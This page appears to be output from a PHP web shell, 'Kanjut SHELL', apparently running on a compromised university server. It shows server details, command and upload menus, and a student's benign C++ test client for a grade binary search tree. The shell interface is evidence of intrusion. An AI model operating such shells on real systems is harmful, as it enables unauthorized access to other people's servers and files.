Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.145.167.58
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/bafreeman/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/bafreeman/stutreeclient.cpp
// stutreeclient.cpp - test client for gradetree class

#include "stutree.h"
#include <iostream>
using namespace std;

//---------------------------------------------------------------------------
int main()
{

   Gradetree grades, mygrades, yourgrades;
   int a, b, d, e, f, g, h;
   float c;
   bool SimilarTrees();
   // First, add some unique grades

   grades.Insert (80);
   grades.Insert (75);
   grades.Insert (66);
   grades.Insert (78);
   grades.Insert (88);
   grades.Insert (86);
   grades.Insert (94);
   grades.Insert (92);
   grades.Insert (50);
   grades.Insert (68);
   grades.Insert (70);
   grades.Insert (98);
   grades.Insert (96);
   grades.Insert (97);
 
   // add grades
   a=grades.SumGrades();
   cout << "The sum of the grades is: " << a << endl;

   // total
   b=grades.NumGrades();
   cout << "\nThe total number of grades is: " << b << endl;

   // Average
   c=grades.AvgGrade();
   cout << "\nThe average of grades is: " << c << endl;

   // NodeCount
   d=grades.NodeCount();
   cout << "\nThe number of nodes is: " << d << endl;

   // LeafCount
   e=grades.LeafCount();
   cout << "\nThe number of Leaf Nodes is: " << e << endl;

   //NonLeafCount
   f=grades.NonLeafCount();
   cout << "\nThe number of Non Leaf Nodes is: " << f << endl;

   //Height
   h=grades.Height();
   cout << "\nThe height of the tree is: " << h << endl;

   // Display picture of tree

   cout << "\n\nAfter adding 80,75,66,78,88,86,94,92,50,68,70,98,96,97";
   cout << "\nSideways 'picture' of the tree:\n\n";
   grades.TreePicture ();

   // Next, add some duplicate grades

   grades.Insert (88);
   grades.Insert (50);
   grades.Insert (94);

   // Make sure tree structure is still the same

   cout << "\n\nAfter adding duplicate 88, 50, 94";
   cout << "\nSideways 'picture' of the tree:\n\n";
   grades.TreePicture ();

   // Display the traversals

   cout << "\nTree Traversals:";
   cout << "\n PRE: ";
   grades.Preorder ();
   cout << "\nPOST: ";
   grades.Postorder ();
   cout << "\n  IN: ";
   grades.Inorder ();

   // Now delete key nodes and display picture after each

   grades.Delete (75);
   cout << "\n\nAfter deleting 75 (Case 3)\n\n";
   grades.TreePicture ();

   grades.Delete (98);
   cout << "\n\nAfter deleting 98 (Case 2)\n\n";
   grades.TreePicture ();

   grades.Delete (86);
   cout << "\n\nAfter deleting 86 (Case 1)\n\n";
   grades.TreePicture ();

   grades.Delete (97);
   cout << "\n\nAfter deleting 97 (Case 1)\n\n";
   grades.TreePicture ();

   cout << "\n\n";


   // LeafCount
   e=grades.LeafCount();
   cout << "\nThe number of Leaf Nodes is: " << e << endl;
   
   //NonLeafCount
   f=grades.NonLeafCount();
   cout << "\nThe number of Non Leaf Nodes is: " << f << endl;

   cout << "\nThis is a new tree.\n";
   mygrades.Insert(90);
   mygrades.Insert(92);
   mygrades.Insert(77);
   mygrades.Insert(85);
   mygrades.Insert(90);
   mygrades.Insert(40);

   mygrades.TreePicture();

   h=mygrades.Height();
   cout << "\nThe height of the tree is: " << h << endl;

   // SimilarTrees()
   if( grades.SimilarTrees(mygrades) )
	cout << "\nThe trees match\n";
   else
        cout << "\nThe trees don't match\n";
   mygrades=yourgrades;
   if( mygrades.SimilarTrees(yourgrades) )
        cout << "\nThe trees match\n";
   else
        cout << "\nThe trees don't match\n";
   return 0;


}






Stv3n404 - 2023